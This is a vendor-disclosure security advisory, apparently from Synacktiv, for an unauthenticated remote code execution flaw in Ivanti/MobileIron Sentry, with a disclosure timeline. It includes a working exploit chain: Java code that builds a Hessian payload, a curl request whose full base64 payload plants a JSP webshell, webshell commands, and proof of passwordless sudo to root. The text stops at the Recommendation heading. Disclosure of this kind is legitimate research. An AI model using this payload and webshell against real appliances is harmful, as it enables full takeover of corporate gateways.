Ivanti Sentry / MobileIron Sentry - Unauthenticated Remote Code Execution

05/06/2024 - Téléchargement

Product

Ivanti Sentry / MobileIron Sentry

Severity

Critical

Fixed Version(s)

N/A

Affected Version(s)

≤ 9.18.0

CVE Number

N/A

Authors

Mehdi Elyassa

Description

Presentation

Ivanti Sentry, formerly known as MobileIron Sentry, is an application gateway that tunnels traffic and data between mobile devices and corporate resources. It can be deployed as a standalone appliance alongside EPMM as part of the Ivanti UEM platform.

Issue(s)

In a standalone Sentry instance, a vulnerable method of the MICSLogService service can be leveraged to remotely execute arbitrary commands without prior authentication.

Timeline

Date Description
2023.08.04 Advisory sent to security@ivanti.com
2023.08.07 Follow-up message sent to the vendor
2023.08.17 Follow-up message sent to the vendor
2023.08.18 Erroneous reply from the vendor acknowledging the advisory for Ivanti EPMM
2023.08.18 Synacktiv points out the error and stresses out the fact that two distinct advisories were sent
2023.08.21 The CVE-2023-38035 and an advisory are published by Ivanti
2023.08.21 Ivanti notifies Synacktiv about the CVE and patch publication
2023.08.21 Ivanti says that the previous message was wrongly sent to Synacktiv and that another CVE will be published soon
2023.08.24 Synacktiv notices that the vulnerability referenced by CVE-2023-38035 matches the vulnerability reported by their advisory
2023.08.24 Synacktiv asks Ivanti to clarify the situation
2023.09.02 Follow-up message sent to the vendor
2023.10.01 Follow-up message sent to the vendor
2023.10.02

Ivanti answered that the attachment was stripped out when the initial advisory email was forwarded internally. In the meantime, another company reported the same issue and will remain credited

2024.06.05 Public Release

 

Technical details

Unauthenticated Remote Code Execution

Description

On the MICS portal, the MICSLogService endpoint is a Hessian service that exposes multiple methods that can be called anonymously. Among them, uploadFileUsingFileInput executes commands provided through a SystemCommandRequestDTO object.

// _mics.src.war/WEB-INF/lib/com/mi/middleware/service/MICSLogService.java

package com.mi.middleware.service.impl
[...]
public interface MICSLogServiceImpl {
[...]
  public synchronized JSONObject uploadFileUsingFileInput(final SystemCommandRequestDTO requestDTO, ServletContext servletContext) {
[...]
      try {
        String cmd = requestDTO.getCommand();
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        String fname = requestDTO.getInputFile();
        file = new RandomAccessFile(fname, "r");

// _mics.src.war/WEB-INF/lib/com/mi/mics/dto/SystemCommandRequestDTO.java

public class SystemCommandRequestDTO extends ServiceRequestDTO {
[...]
  public void setCommand(String command) {
    this.command = command;
  }
[...]  
  public void setInputFile(String inputFile) {
    this.inputFile = inputFile;
  }
}

The following piece of code can be used to generate a valid Hessian call to uploadFileUsingFileInput with object arguments holding serialized instances of the SystemCommandRequestDTO and ServletContext classes.

$ cat uploadFileUsingFileInput.java                                         
import java.io.ByteArrayOutputStream;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.web.context.support.GenericWebApplicationContext;
import org.springframework.context.ApplicationContext;
import javax.servlet.ServletContext;
import com.mi.mics.dto.SystemCommandRequestDTO;
import java.util.Base64;

// Public dependencies
// https://repo1.maven.org/maven2/javax/servlet/javax.servlet-api/4.0.1/javax.servlet-api-4.0.1.jar
// https://repo1.maven.org/maven2/javax/xml/bind/jaxb-api/2.3.1/jaxb-api-2.3.1.jar
// https://repo1.maven.org/maven2/com/caucho/hessian/4.0.63/hessian-4.0.63.jar 
// https://repo1.maven.org/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.jar
// https://repo1.maven.org/maven2/org/springframework/spring-web/5.2.2.RELEASE/spring-web-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-context/5.2.2.RELEASE/spring-context-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-beans/5.2.2.RELEASE/spring-beans-5.2.2.RELEASE.jar
// https://repo1.maven.org/maven2/org/springframework/spring-core/5.2.2.RELEASE/spring-core-5.2.2.RELEASE.jar



// From MobileIron Core : /mi/tomcat/webapps/mifs/WEB-INF/lib/common-11.4.0.0-0.jar
// javac -cp ".:hessian-4.0.63.jar:spring-web-5.2.2.RELEASE.jar:spring-context-5.2.2.RELEASE.jar:spring-beans-5.2.2.RELEASE.jar:spring-core-5.2.2.RELEASE.jar:jaxb-api-2.3.1.jar:javax.servlet-api-4.0.1.jar:common-11.4.0.0-0.jar:commons-logging-1.1.jar" uploadFileUsingFileInput.java

class uploadFileUsingFileInput {
    public static void main(String[] argv) {
        try {

            if (argv.length == 0) {
                System.out.println("Usage: java uploadFileUsingFileInput [cmd] ");
            } else {
                GenericWebApplicationContext aptctx = new GenericWebApplicationContext();
                ServletContext servletContext = aptctx.getServletContext();

                SystemCommandRequestDTO systemCommandObj = new SystemCommandRequestDTO();


                String cmd = argv[0];
            
                systemCommandObj.setRoot(true);
                systemCommandObj.setInputFile("/tmp/mi-dummy");
                systemCommandObj.setCommand(cmd);

                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                Hessian2Output out = new Hessian2Output(bos);

                out.startCall();
                out.writeMethod("uploadFileUsingFileInput");
                out.writeInt(2);
                out.writeObject(systemCommandObj);
                out.writeObject(servletContext);

                out.completeCall();
                out.close();
                byte []data2 = bos.toByteArray();


                String out_b64 = Base64.getEncoder().encodeToString(bos.toByteArray());

                System.out.println("Payload: " + out_b64);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
 

Upon crafting the right payload, the vulnerable MICS service can be leveraged to create a webshell on the appliance.

$ export WEBSHELL_HEX=$(xxd -p -c0 ws.jsp)

$ java -cp .:hessian-4.0.63.jar:spring-web-5.2.2.RELEASE.jar:spring-context-5.2.2.RELEASE.jar:spring-beans-5.2.2.RELEASE.jar:spring-core-5.2.2.RELEASE.jar:jaxb-api-2.3.1.jar:javax.servlet-api-4.0.1.jar:common-11.4.0.0-0.jar:commons-logging-1.1.jar uploadFileUsingFileInput "python -v -c open('/mi/tomcat2/webapps/mics/css/css.jsp','w').write('$WEBSHELL_HEX'.decode('hex'))"
Payload: Qxh1cGxv[...]

$ curl -ski -H 'Content-Type: application/x-hessian' --data-binary @<(echo 'Qxh1cGxvYWRGaWxlVXNpbmdGaWxlSW5wdXSSQzAnY29tLm1pLm1pY3MuZHRvLlN5c3RlbUNvbW1hbmRSZXF1ZXN0RFRPnQdjb21tYW5kBmlzUm9vdBBsb2dDb21tYW5kRXJyb3JzCWlucHV0RmlsZQhkZXZpY2VJZAdncm91cElkDHVzZXJBY3Rpb25JZAR1dWlkAmlkCXByaW5jaXBhbA1kZXZpY2VTcGFjZUlkD2RldmljZVNwYWNlUGF0aAxjbWRMaXN0QXJyYXlgUwUXcHl0aG9uIC12IC1jIG9wZW4oJy9taS90b21jYXQyL3dlYmFwcHMvbWljcy9jc3MvY3NzLmpzcCcsJ3cnKS53cml0ZSgnM2MyNTQwMjA3MDYxNjc2NTIwNjk2ZDcwNmY3Mjc0M2QyMjZhNjE3NjYxMmU3NTc0Njk2YzJlMmEyYzZhNjE3NjYxMmU2OTZmMmUyYTIyMjUzZTBhM2MyNTQwMjA3MDYxNjc2NTIwNzQ3MjY5NmQ0NDY5NzI2NTYzNzQ2OTc2NjU1NzY4Njk3NDY1NzM3MDYxNjM2NTczM2QyMjc0NzI3NTY1MjIyNTNlMGEzYzI1MGEyMDIwMjAyMDY5NjYyMDI4NzI2NTcxNzU2NTczNzQyZTY3NjU3NDQ4NjU2MTY0NjU3MjI4MjI1NzUzMjIyOTIwMjEzZDIwNmU3NTZjNmMyOTIwN2IwYTIwMjAyMDIwMjAyMDIwMjA1Mzc0NzI2OTZlNjcyMDZiNzAyMDNkMjA3MjY1NzE3NTY1NzM3NDJlNjc2NTc0NDg2NTYxNjQ2NTcyMjgyMjU3NTMyMjI5M2IwYTIwMjAyMDIwMjAyMDIwMjA2Zjc1NzQyZTcwNzI2OTZlNzQ2YzZlMjgyMjI0M2UyMDIyMjAyYjIwNmI3MDI5M2IwYTIwMjAyMDIwMjAyMDIwMjA1MDcyNmY2MzY1NzM3MzIwNzAyMDNkMjA1Mjc1NmU3NDY5NmQ2NTJlNjc2NTc0NTI3NTZlNzQ2OTZkNjUyODI5MmU2NTc4NjU2MzI4NmU2NTc3MjA1Mzc0NzI2OTZlNjc1YjVkN2IyMjYyNjE3MzY4MjIyYzIwMjIyZDYzMjIyYzIwNmI3MDdkMjkzYjBhMjAyMDIwMjAyMDIwMjAyMDRmNzU3NDcwNzU3NDUzNzQ3MjY1NjE2ZDIwNmY3MzIwM2QyMDcwMmU2NzY1NzQ0Zjc1NzQ3MDc1NzQ1Mzc0NzI2NTYxNmQyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA0OTZlNzA3NTc0NTM3NDcyNjU2MTZkMjA2OTZlMjAzZDIwNzAyZTY3NjU3NDQ5NmU3MDc1NzQ1Mzc0NzI2NTYxNmQyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA0NDYxNzQ2MTQ5NmU3MDc1NzQ1Mzc0NzI2NTYxNmQyMDY0Njk3MzIwM2QyMDZlNjU3NzIwNDQ2MTc0NjE0OTZlNzA3NTc0NTM3NDcyNjU2MTZkMjg2OTZlMjkzYjBhMjAyMDIwMjAyMDIwMjAyMDUzNzQ3MjY5NmU2NzIwNjQ2OTczNzIyMDNkMjA2NDY5NzMyZTcyNjU2MTY0NGM2OTZlNjUyODI5M2IwYTIwMjAyMDIwMjAyMDIwMjA3NzY4Njk2YzY1MjAyODIwNjQ2OTczNzIyMDIxM2QyMDZlNzU2YzZjMjAyOTIwN2IwYTIwMjAyMDIwMjAyMDIwMjAyMDIwMjAyMDZmNzU3NDJlNzA3MjY5NmU3NDZjNmUyODY0Njk3MzcyMjkzYjIwMGEyMDIwMjAyMDIwMjAyMDIwMjAyMDIwMjA2NDY5NzM3MjIwM2QyMDY0Njk3MzJlNzI2NTYxNjQ0YzY5NmU2NTI4MjkzYjIwMGEyMDIwMjAyMDIwMjAyMDIwN2QwYTIwMjAyMDIwMjAyMDIwMjA3MjY1NzQ3NTcyNmUzYjBhMjAyMDIwMjA3ZDBhMjUzZTBhJy5kZWNvZGUoJ2hleCcpKVRUDS90bXAvbWktZHVtbXlOTk5OTk6RAy8xL05O' | base64 -d) "https://sentry.local:8443/mics/services/MICSLogService" -o -
HTTP/1.1 200 
[...]

HRH	isRunningTZ

$ curl -sk https://sentry.local:8443/mics/css/css.jsp -H 'WS: cat /mi/release;id'              
$> cat /mi/release;id
Sentry Standalone 9.18.0 Build 6 (Branch wolverine-9.18.0-sentry-release)
uid=497(tomcat2) gid=102(tomcat) groups=102(tomcat)

Impact

An anonymous attacker who can reach the MICS portal can execute arbitrary commands on the underlying operating system.

It should be noted that commands are executed as the tomcat2 user which has a permissive sudo configuration that permits trivial privilege escalation.

$ curl -sk https://sentry.local:8443/mics/css/css.jsp -H 'WS: sudo -l'           
$> sudo -l
Matching Defaults entries for tomcat2 on mi:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep+="PATH MANPATH MOBILEIRON_HOME TZ KRB5CCNAME CLISH_PATH JAVA_HOME", !syslog, umask_override, umask=022

User tomcat2 may run the following commands on mi:
    (ALL) ALL, NOPASSWD: ALL

Therefore, executing commands in this context leads to a total compromise of the Sentry appliance.

Recommendation